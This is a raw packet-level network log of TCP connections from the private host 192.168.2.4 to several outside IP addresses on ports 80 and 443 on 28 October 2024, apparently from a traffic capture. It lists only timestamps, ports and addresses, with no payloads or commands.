Oct 28, 2024 06:27:29.107032061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107033968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107062101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107063055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107080936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107086897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107095003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107108116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107109070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107125044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107129097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107140064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107147932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107153893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107168913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107182026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107186079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107201099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107202053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107215881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107228041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107228994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107244015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107258081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107259035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107274055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107276917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107287884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107302904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107304096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107330084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107333899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107347012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107356071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107362986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107376099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107378960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107392073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107398033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107418060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107429028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107431889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107448101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107456923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107462883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107479095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.107491970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107506990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.107532024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.140736103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.146085024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426866055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426896095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426912069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426937103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426955938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426970005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.426985025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427000046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427021980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427036047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427042961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427042961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427043915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427043915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427043915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427051067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427066088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427069902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427081108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427095890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427095890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427110910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427119017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427145958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427148104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427161932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427177906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427184105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427201033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427207947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427213907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427227974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427229881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427238941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427243948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427258968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427261114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427273989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427278042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427306890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427398920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427413940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427428961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427433968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427443027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427458048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427464008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427491903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427512884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427634954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427658081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427674055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427674055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427695990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427707911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427803040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427817106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427833080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427839994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427848101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427858114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427870989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427871943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427891970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427892923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427907944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427911043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427922010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427931070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427937031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427949905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427951097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427964926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.427966118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427982092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.427984953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428000927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428004026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428014994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428026915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428039074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428056002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428061008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428076029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428080082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428090096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428102970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428106070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428117037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428133965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428148985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428644896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428688049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428689003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428702116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428723097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428724051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428733110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428739071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428755045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428762913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428766966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428781986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428782940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428800106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428813934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428833008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428874969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428889036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428903103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428913116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428919077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428930998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428942919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428945065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428957939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428966045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428972960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428978920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.428987026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.428999901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429009914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429013014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429023981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429033995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429038048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429053068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429054976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429068089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429073095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429081917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429090977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429097891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429125071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429142952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429474115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429518938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.429557085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.429605961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.840856075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.840890884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:29.846254110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:29.846282005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.628777027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.628829956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:30.678407907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:30.684427977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.966212988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.966345072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.966360092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.966372967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:30.966438055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:30.966476917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:30.969072104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:30.974419117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:31.255685091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:31.255762100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:31.270127058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:31.275583029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:32.048439980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:32.048511982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:32.076144934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:32.084310055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:32.363024950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:32.363092899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:32.364464045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:32.369736910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:33.145518064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:33.145565987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:38.309329033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:38.309398890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:39.410120964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:54.440386057 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:54.440435886 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:54.440515041 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:54.441056967 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:54.441088915 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.293792009 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.293878078 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.308989048 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.309016943 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.309911966 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.318427086 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.359325886 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.375019073 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:55.375046015 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:55.375130892 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:55.375395060 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:55.375412941 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:55.599348068 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.599417925 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.599461079 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.599498034 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.599529028 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.599564075 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.599591017 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.600455999 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.600502968 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.600522995 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.600539923 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.600577116 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.600589037 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.600625992 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.603909016 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.603944063 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:55.603976011 CET	49762	443	192.168.2.4	20.12.23.50
Oct 28, 2024 06:27:55.603988886 CET	443	49762	20.12.23.50	192.168.2.4
Oct 28, 2024 06:27:56.135447025 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.135603905 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.137320995 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.137377024 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.137882948 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.147260904 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.187326908 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.365396976 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.365480900 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.365528107 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.365613937 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.365681887 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.365727901 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.365758896 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.396133900 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.396177053 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.396236897 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.396302938 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.396347046 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.396373987 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.484950066 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.484996080 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.485052109 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.485119104 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.485157013 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.485178947 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.515105963 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.515152931 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.515194893 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.515259981 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.515337944 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.515337944 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.516853094 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.516904116 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.516941071 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.516963959 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.516990900 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.517019033 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.557887077 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.557930946 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.557979107 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.558043003 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.558079004 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.558101892 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.604398012 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.604444981 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.604553938 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.604619980 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.604660988 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.604685068 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.633703947 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.633754015 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.633841991 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.633908987 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.633972883 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.633972883 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.634733915 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.634777069 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.634968996 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.634989023 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.635045052 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.635756969 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.635797024 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.635838985 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.635852098 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.635881901 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.635902882 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.636794090 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.636873007 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.636908054 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.636985064 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.638587952 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.638633013 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.638679028 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.638695955 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.638741016 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.638741016 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.677318096 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.677457094 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.677474022 CET	49763	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:27:56.677541018 CET	443	49763	13.107.246.45	192.168.2.4
Oct 28, 2024 06:27:56.677577972 CET	49763	443	192.168.2.4	13.107.246.45
